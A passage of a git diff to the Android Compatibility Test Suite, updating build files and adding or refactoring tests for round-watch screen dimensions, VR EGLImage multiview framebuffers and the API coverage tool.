@@ -11,16 +12,4 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+LIBC_DEBUG_MALLOC_OPTIONS=backtrace=1 WRAP_PROPERTY=test $@
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
index 799030d..de2600a 100644
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -21,9 +21,12 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	android-support-test \
+	legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_SDK_VERSION := current
 
 LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
@@ -36,6 +39,9 @@
 LOCAL_PACKAGE_NAME := CtsWrapWrapNoDebugTestCases
 LOCAL_MANIFEST_FILE := AndroidManifest.xml
 
+# Jarjar to make WrapTest unique.
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
+
 include $(BUILD_PACKAGE)
 
 include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_nodebug/jarjar-rules.txt b/tests/tests/wrap/wrap_nodebug/jarjar-rules.txt
new file mode 100644
index 0000000..11a43f1
--- /dev/null
+++ b/tests/tests/wrap/wrap_nodebug/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.wrap.cts.WrapTest** android.wrap.cts.WrapTestWrapNoDebug@1
diff --git a/tests/tvprovider/Android.mk b/tests/tvprovider/Android.mk
index 2ac45a2..8c5aa1e 100644
--- a/tests/tvprovider/Android.mk
+++ b/tests/tvprovider/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsTvProviderTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 
 LOCAL_SDK_VERSION := current
diff --git a/tests/ui/Android.mk b/tests/ui/Android.mk
index 0ad32d1..ecd00f9 100644
--- a/tests/ui/Android.mk
+++ b/tests/ui/Android.mk
@@ -27,9 +27,9 @@
 LOCAL_PACKAGE_NAME := CtsUiDeviceTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-LOCAL_SDK_VERSION := 16
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/ui/AndroidTest.xml b/tests/ui/AndroidTest.xml
index c8fcef33..a9fa4f4 100644
--- a/tests/ui/AndroidTest.xml
+++ b/tests/ui/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS UI test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
new file mode 100644
index 0000000..4df824c
--- /dev/null
+++ b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.ui.cts;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.util.DisplayMetrics;
+import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class WatchPercentageScreenDimenTest {
+    private Context mContext;
+    private Configuration mConfig;
+    private float mScreenWidth;
+
+    private boolean isRoundWatch() {
+        return mConfig.isScreenRound() && (mConfig.uiMode & Configuration.UI_MODE_TYPE_WATCH)
+                == Configuration.UI_MODE_TYPE_WATCH;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mConfig = mContext.getResources().getConfiguration();
+        mScreenWidth = mContext.getResources().getDisplayMetrics().widthPixels;
+    }
+
+    @Test
+    public void test_10() {
+        if (!isRoundWatch()) {
+            return; // skip if not round watch
+        }
+
+        float expected = mScreenWidth * 0.1f;
+
+        TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
+            android.R.attr.listPreferredItemPaddingEnd
+        });
+        Assert.assertEquals("invalid number of attributes", 1, attrs.length());
+
+        for (int i = 0; i < attrs.length(); ++i) {
+            float actual = attrs.getDimension(i, -1);
+            Assert.assertEquals("screen_percentage_10 is not 10% of screen width",
+                    expected, actual, 0.1f);
+        }
+    }
+
+    @Test
+    public void test_15() {
+        if (!isRoundWatch()) {
+            return; // skip if not round watch
+        }
+
+        float expected = mScreenWidth * 0.15f;
+
+        TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
+            android.R.attr.dialogPreferredPadding,
+            android.R.attr.listPreferredItemPaddingLeft,
+            android.R.attr.listPreferredItemPaddingRight,
+            android.R.attr.listPreferredItemPaddingStart
+        });
+        Assert.assertEquals("invalid number of attributes", 4, attrs.length());
+
+        for (int i = 0; i < attrs.length(); ++i) {
+            float actual = attrs.getDimension(i, -1);
+            Assert.assertEquals("screen_percentage_15 is not 15% of screen width",
+                    expected, actual, 0.1f);
+        }
+    }
+}
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
index d7b91d9..ca55138 100644
--- a/tests/video/Android.mk
+++ b/tests/video/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_PACKAGE_NAME := CtsVideoTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/vm/Android.mk b/tests/vm/Android.mk
index ed28a37..574ad16 100755
--- a/tests/vm/Android.mk
+++ b/tests/vm/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsVmTestCases
 
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index 92c99b1..c35db68 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -27,13 +27,17 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+
+LOCAL_JNI_SHARED_LIBRARIES := libctsvrextensions_jni libnativehelper_compat_libc++
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
 
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/vr/AndroidTest.xml b/tests/vr/AndroidTest.xml
index 17a2a8f..02b2918 100644
--- a/tests/vr/AndroidTest.xml
+++ b/tests/vr/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS VR test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="vr" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/vr/jni/Android.mk b/tests/vr/jni/Android.mk
new file mode 100644
index 0000000..26b267c
--- /dev/null
+++ b/tests/vr/jni/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE    := libctsvrextensions_jni
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_CFLAGS += -Werror -Wall -Wextra -std=c++11
+
+LOCAL_SRC_FILES := VrExtensionsJni.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(call include-path-for, system-core) frameworks/native/opengl/include
+
+LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libEGL libGLESv2
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp
new file mode 100644
index 0000000..571d83f
--- /dev/null
+++ b/tests/vr/jni/VrExtensionsJni.cpp
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+#include <GLES2/gl2.h>
+#include <GLES2/gl2ext.h>
+#include <jni.h>
+#include <stdlib.h>
+#include <android/hardware_buffer.h>
+
+using PFNEGLGETNATIVECLIENTBUFFERANDROID =
+        EGLClientBuffer(EGLAPIENTRYP)(const AHardwareBuffer* buffer);
+
+using PFNGLEGLIMAGETARGETTEXTURE2DOESPROC = void(GL_APIENTRYP)(GLenum target,
+                                                               void* image);
+
+PFNGLEGLIMAGETARGETTEXTURE2DOESPROC glEGLImageTargetTexture2DOES;
+PFNEGLGETNATIVECLIENTBUFFERANDROID eglGetNativeClientBufferANDROID;
+PFNEGLCREATEIMAGEKHRPROC eglCreateImageKHR;
+PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC glFramebufferTextureMultiviewOVR;
+PFNGLFRAMEBUFFERTEXTUREMULTISAMPLEMULTIVIEWOVRPROC
+    glFramebufferTextureMultisampleMultiviewOVR;
+
+#define LOAD_PROC(NAME, TYPE)                                           \
+    NAME = reinterpret_cast<TYPE>(eglGetProcAddress(# NAME))
+
+#define ASSERT(condition, format, args...)      \
+    if (!(condition)) {                         \
+        fail(env, format, ## args);             \
+        return;                                 \
+    }
+
+#define ASSERT_TRUE(a) \
+    ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) \
+    ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+    ASSERT((a) == (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+    ASSERT((a) != (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LE(a, b) \
+    ASSERT((a) <= (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+
+void fail(JNIEnv* env, const char* format, ...) {
+    va_list args;
+    va_start(args, format);
+    char* msg;
+    vasprintf(&msg, format, args);
+    va_end(args);
+    jclass exClass;
+    const char* className = "java/lang/AssertionError";
+    exClass = env->FindClass(className);
+    env->ThrowNew(exClass, msg);
+    free(msg);
+}
+
+static void testEglImageArray(JNIEnv* env, AHardwareBuffer_Desc desc,
+                              int nsamples) {
+    ASSERT_LE(1, desc.layers);
+    AHardwareBuffer* hwbuffer = nullptr;
+    int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
+    ASSERT_FALSE(error);
+    // Create EGLClientBuffer from the AHardwareBuffer.
+    EGLClientBuffer native_buffer = eglGetNativeClientBufferANDROID(hwbuffer);
+    ASSERT_TRUE(native_buffer);
+    // Create EGLImage from EGLClientBuffer.
+    EGLint attrs[] = {EGL_NONE};
+    EGLImageKHR image =
+        eglCreateImageKHR(eglGetCurrentDisplay(), EGL_NO_CONTEXT,
+                          EGL_NATIVE_BUFFER_ANDROID, native_buffer, attrs);
+    ASSERT_TRUE(image);
+    // Create OpenGL texture from the EGLImage.
+    GLuint texid;
+    glGenTextures(1, &texid);
+    glBindTexture(GL_TEXTURE_2D_ARRAY, texid);
+    glEGLImageTargetTexture2DOES(GL_TEXTURE_2D_ARRAY, image);
+    ASSERT_EQ(glGetError(), GL_NO_ERROR);
+    // Create FBO and add multiview attachment.
+    GLuint fboid;
+    glGenFramebuffers(1, &fboid);
+    glBindFramebuffer(GL_FRAMEBUFFER, fboid);
+    const GLint miplevel = 0;
+    const GLint base_view = 0;
+    const GLint num_views = desc.layers;
+    if (nsamples == 1) {
+        glFramebufferTextureMultiviewOVR(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
+                                         texid, miplevel, base_view, num_views);
+    } else {
+        glFramebufferTextureMultisampleMultiviewOVR(
+            GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, texid, miplevel, nsamples,
+            base_view, num_views);
+    }
+    ASSERT_EQ(glGetError(), GL_NO_ERROR);
+    ASSERT_EQ(glCheckFramebufferStatus(GL_FRAMEBUFFER),
+              GL_FRAMEBUFFER_COMPLETE);
+    // Release memory.
+    glDeleteTextures(1, &texid);
+    glDeleteFramebuffers(1, &fboid);
+    AHardwareBuffer_release(hwbuffer);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_vr_cts_VrExtensionBehaviorTest_nativeTestEglImageArray(
+    JNIEnv* env, jclass /* unused */) {
+    // First, load entry points provided by extensions.
+    LOAD_PROC(glEGLImageTargetTexture2DOES,
+              PFNGLEGLIMAGETARGETTEXTURE2DOESPROC);
+    ASSERT_NE(glEGLImageTargetTexture2DOES, nullptr);
+    LOAD_PROC(eglGetNativeClientBufferANDROID,
+              PFNEGLGETNATIVECLIENTBUFFERANDROID);
+    ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
+    LOAD_PROC(eglCreateImageKHR, PFNEGLCREATEIMAGEKHRPROC);
+    ASSERT_NE(eglCreateImageKHR, nullptr);
+    LOAD_PROC(glFramebufferTextureMultiviewOVR,
+              PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC);
+    ASSERT_NE(glFramebufferTextureMultiviewOVR, nullptr);
+    LOAD_PROC(glFramebufferTextureMultisampleMultiviewOVR,
+              PFNGLFRAMEBUFFERTEXTUREMULTISAMPLEMULTIVIEWOVRPROC);
+    ASSERT_NE(glFramebufferTextureMultisampleMultiviewOVR, nullptr);
+    // Try creating a 32x32 AHardwareBuffer and attaching it to a multiview
+    // framebuffer, with various formats and depths.
+    AHardwareBuffer_Desc desc = {};
+    desc.width = 32;
+    desc.height = 32;
+    desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE |
+                 AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT;
+    const int layers[] = {2, 4};
+    const int formats[] = {
+      AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM,
+      AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM,
+      // Do not test AHARDWAREBUFFER_FORMAT_BLOB, it isn't color-renderable.
+    };
+    const int samples[] = {1, 2, 4};
+    for (int nsamples : samples) {
+      for (auto nlayers : layers) {
+        for (auto format : formats) {
+          desc.layers = nlayers;
+          desc.format = format;
+          testEglImageArray(env, desc, nsamples);
+        }
+      }
+    }
+}
diff --git a/tests/vr/src/android/vr/cts/OpenGLESActivity.java b/tests/vr/src/android/vr/cts/OpenGLESActivity.java
index 2879114..4c67700 100644
--- a/tests/vr/src/android/vr/cts/OpenGLESActivity.java
+++ b/tests/vr/src/android/vr/cts/OpenGLESActivity.java
@@ -54,6 +54,10 @@
     public static final int EGL_MUTABLE_RENDER_BUFFER_BIT = 0x1000;
     private static final int EGL_OPENGL_ES3_BIT_KHR = 0x40;
 
+    public static final int RENDERER_BASIC = 1;
+    public static final int RENDERER_PROTECTEDTEXTURES = 2;
+    public static final int RENDERER_REFRESHRATE = 3;
+
     OpenGLES20View mView;
     Renderer mRenderer;
     int mRendererType;
@@ -183,7 +187,7 @@
 
     class OpenGLES20View extends GLSurfaceView {
 
-        public OpenGLES20View(Context context, int index, int protectedAttribute,
+        public OpenGLES20View(Context context, int renderer, int protectedAttribute,
             int priorityAttribute, int mutableAttribute, CountDownLatch latch) {
             super(context);
             setEGLContextClientVersion(2);
@@ -198,11 +202,11 @@
             }
 
 
-            if (index == 1) {
+            if (renderer == RENDERER_BASIC) {
                 mRenderer = new RendererBasicTest(latch);
-            } else  if (index == 2) {
+            } else if (renderer == RENDERER_PROTECTEDTEXTURES) {
                 mRenderer = new RendererProtectedTexturesTest(latch);
-            } else  if (index == 3) {
+            } else if (renderer == RENDERER_REFRESHRATE) {
                 mRenderer = new RendererRefreshRateTest(latch);
             } else {
                 throw new RuntimeException();
diff --git a/tests/vr/src/android/vr/cts/VrDisplayTest.java b/tests/vr/src/android/vr/cts/VrDisplayTest.java
index 9459e9c..d8d40ec 100644
--- a/tests/vr/src/android/vr/cts/VrDisplayTest.java
+++ b/tests/vr/src/android/vr/cts/VrDisplayTest.java
@@ -53,7 +53,7 @@
     public void testRefreshRateIsAtLeast60Hz() throws Throwable {
         final int NUM_FRAMES = 200;
         // Add an extra frame to allow the activity to start up.
-        mActivity = getGlEsActivity(NUM_FRAMES + 1, 3);
+        mActivity = getGlEsActivity(NUM_FRAMES + 1, OpenGLESActivity.RENDERER_REFRESHRATE);
         if (!mActivity.supportsVrHighPerformance())
             return;
 
@@ -75,7 +75,7 @@
      * Tests that the display resolution is at least 1080p.
      */
     public void testDisplayResolution() {
-        mActivity = getGlEsActivity(1, 1);
+        mActivity = getGlEsActivity(1, OpenGLESActivity.RENDERER_BASIC);
         if (!mActivity.supportsVrHighPerformance())
             return;
 
@@ -102,7 +102,7 @@
      * Tests that the display dimensions are between 4.7" and 6".
      */
     public void testDisplayDimensions() {
-        mActivity = getGlEsActivity(1, 1);
+        mActivity = getGlEsActivity(1, OpenGLESActivity.RENDERER_BASIC);
         if (!mActivity.supportsVrHighPerformance())
             return;
 
diff --git a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
index 31f2997..f364241 100644
--- a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
+++ b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
@@ -20,9 +20,10 @@
 import android.opengl.GLES32;
 import android.test.ActivityInstrumentationTestCase2;
 
-import java.nio.IntBuffer;
-
 public class VrExtensionBehaviorTest extends ActivityInstrumentationTestCase2<OpenGLESActivity> {
+    static {
+        System.loadLibrary("ctsvrextensions_jni");
+    }
 
     private static final int EGL_CONTEXT_PRIORITY_HIGH_IMG = 0x3101;
     private static final int EGL_CONTEXT_PRIORITY_MEDIUM_IMG = 0x3102;
@@ -53,7 +54,7 @@
      * Tests that protected content contexts and surfaces can be created.
      */
     public void testProtectedContent() throws Throwable {
-        mActivity = getGlEsActivity(1, 1, 0, 0);
+        mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
         if (!mActivity.supportsVrHighPerformance())
             return;
 
@@ -77,7 +78,7 @@
      * Tests that textures can be marked as protected.
      */
     public void testProtectedTextures() throws Throwable {
-        mActivity = getGlEsActivity(2, 1, 0, 0);
+        mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_PROTECTEDTEXTURES, 1, 0, 0);
         if (!mActivity.supportsVrHighPerformance())
             return;
 
@@ -126,7 +127,7 @@
      */
     public void testMutableRenderBuffer() throws Throwable {
 
-        mActivity = getGlEsActivity(1, 0, 0, 1);
+        mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 1);
         if (!mActivity.supportsVrHighPerformance())
             return;
 
@@ -155,10 +156,27 @@
     }
 
     /**
+     * Test that a layered EGLImage can be created and attached to a FBO.
+     */
+    public void testEglImageArray() throws Throwable {
+        mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
+        if (!mActivity.supportsVrHighPerformance())
+            return;
+
+        assertEquals(GLES32.GL_NO_ERROR, mActivity.glGetError());
+
+        mActivity.runOnGlThread(new Runnable() {
+            public void run() {
+              nativeTestEglImageArray();
+            }
+        });
+    }
+
+    /**
      * Runs a context priority test.
      */
     private void runContextPriorityTest(int priority) throws Throwable {
-        mActivity = getGlEsActivity(1, 0, priority, 0);
+        mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, priority, 0);
         if (!mActivity.supportsVrHighPerformance())
             return;
 
@@ -181,4 +199,6 @@
         EGL14.eglSwapBuffers(EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY),
             EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW));
     }
+
+    private static native boolean nativeTestEglImageArray();
 }
diff --git a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
index f85fd7f..9e010fa 100644
--- a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
+++ b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
@@ -33,7 +33,6 @@
     private OpenGLESActivity mActivity;
     private ActivityManager mActivityManager;
     private Context mContext;
-    private String mOldVrListener;
     private static final int SCHED_OTHER = 0;
     private static final int SCHED_FIFO = 1;
     private static final int SCHED_RESET_ON_FORK = 0x40000000;
@@ -44,20 +43,6 @@
         super(OpenGLESActivity.class);
     }
 
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-        mOldVrListener = Settings.Secure.getString(mContext.getContentResolver(), ENABLED_VR_LISTENERS);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        Settings.Secure.putString(mContext.getContentResolver(),
-            ENABLED_VR_LISTENERS, mOldVrListener);
-        super.tearDown();
-    }
-
     private void setIntent(int viewIndex, int createProtected,
         int priorityAttribute, int mutableAttribute) {
         Intent intent = new Intent();
@@ -69,8 +54,10 @@
     }
 
     public void testSetVrThreadAPISuccess() throws Throwable {
-        setIntent(1, 1, 0, 0);
+        mContext = getInstrumentation().getTargetContext();
+        setIntent(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
         ComponentName requestedComponent = new ComponentName(mContext, MockVrListenerService.class);
+        String old_vr_listener = Settings.Secure.getString(mContext.getContentResolver(), ENABLED_VR_LISTENERS);
         Settings.Secure.putString(mContext.getContentResolver(),
             ENABLED_VR_LISTENERS,
             requestedComponent.flattenToString());
@@ -89,11 +76,15 @@
             Log.e(TAG, "scheduling policy: " + policy);
             assertEquals((SCHED_FIFO | SCHED_RESET_ON_FORK), policy);
         }
+        Settings.Secure.putString(mContext.getContentResolver(),
+            ENABLED_VR_LISTENERS, old_vr_listener);
     }
 
     public void testSetVrThreadAPIFailure() throws Throwable {
-        setIntent(1, 1, 0, 0);
+        mContext = getInstrumentation().getTargetContext();
+        setIntent(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
         ComponentName requestedComponent = new ComponentName(mContext, MockVrListenerService.class);
+        String old_vr_listener = Settings.Secure.getString(mContext.getContentResolver(), ENABLED_VR_LISTENERS);
         Settings.Secure.putString(mContext.getContentResolver(),
             ENABLED_VR_LISTENERS,
             requestedComponent.flattenToString());
@@ -111,5 +102,7 @@
             Log.e(TAG, "scheduling policy: " + policy);
             assertEquals(SCHED_OTHER, policy);
         }
+        Settings.Secure.putString(mContext.getContentResolver(),
+            ENABLED_VR_LISTENERS, old_vr_listener);
     }
 }
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index 2b57c76..06aa6fa 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -19,8 +19,7 @@
 import com.android.compatibility.common.util.CddTest;
 
 import org.jf.dexlib2.DexFileFactory;
-import org.jf.dexlib2.DexFileFactory.DexFileNotFound;
-import org.jf.dexlib2.DexFileFactory.MultipleDexFilesException;
+import org.jf.dexlib2.DexFileFactory.DexFileNotFoundException;
 import org.jf.dexlib2.Opcodes;
 import org.jf.dexlib2.iface.Annotation;
 import org.jf.dexlib2.iface.AnnotationElement;
@@ -44,6 +43,7 @@
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
+import java.util.Locale;
 import java.util.Set;
 
 import javax.xml.transform.TransformerException;
@@ -104,6 +104,8 @@
         String reportTitle = "CTS API Coverage";
         int apiLevel = Integer.MAX_VALUE;
 
+        List<File> notFoundTestApks = new ArrayList<File>();
+        int numTestApkArgs = 0;
         for (int i = 0; i < args.length; i++) {
             if (args[i].startsWith("-")) {
                 if ("-o".equals(args[i])) {
@@ -134,14 +136,23 @@
                 }
             } else {
                 File file = new File(args[i]);
+                numTestApkArgs++;
                 if (file.isDirectory()) {
                     testApks.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
-                } else {
+                } else if (file.isFile()) {
                     testApks.add(file);
+                } else {
+                    notFoundTestApks.add(file);
                 }
             }
         }
 
+        if (!notFoundTestApks.isEmpty()) {
+            String msg = String.format(Locale.US, "%d/%d testApks not found: %s",
+                    notFoundTestApks.size(), numTestApkArgs, notFoundTestApks);
+            throw new IllegalArgumentException(msg);
+        }
+
         /*
          * 1. Create an ApiCoverage object that is a tree of Java objects representing the API
          *    in current.xml. The object will have no information about the coverage for each
@@ -264,9 +275,8 @@
 
         DexFile dexFile = null;
         try {
-            dexFile = DexFileFactory.loadDexFile(
-                testSource, null /*dexEntry*/, Opcodes.forApi(api));
-        } catch (IOException | DexFileFactory.DexFileNotFound e) {
+            dexFile = DexFileFactory.loadDexFile(testSource, Opcodes.forApi(api));
+        } catch (IOException | DexFileFactory.DexFileNotFoundException e) {
             System.err.println("Unable to load dex file: " + testSource.getPath());
             return;
         }
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index 81c8caf..d87ca41 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceInfo
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
 
diff --git a/tools/cts-device-info/jni/Android.mk b/tools/cts-device-info/jni/Android.mk
index 30bde53..9e514f0 100644
--- a/tools/cts-device-info/jni/Android.mk
+++ b/tools/cts-device-info/jni/Android.mk
@@ -28,6 +28,8 @@
 LOCAL_SHARED_LIBRARIES := libvulkan liblog libdl
 LOCAL_NDK_STL_VARIANT := c++_static
 
+LOCAL_CFLAGS := -Wall -Werror
+
 # Would be "current" if that was supported for native code.
 LOCAL_SDK_VERSION := 24
 
diff --git a/tools/cts-holo-generation/Android.mk b/tools/cts-holo-generation/Android.mk
index 2affc5e..43b346d 100644
--- a/tools/cts-holo-generation/Android.mk
+++ b/tools/cts-holo-generation/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tools/cts-media-preparer-app/Android.mk b/tools/cts-media-preparer-app/Android.mk
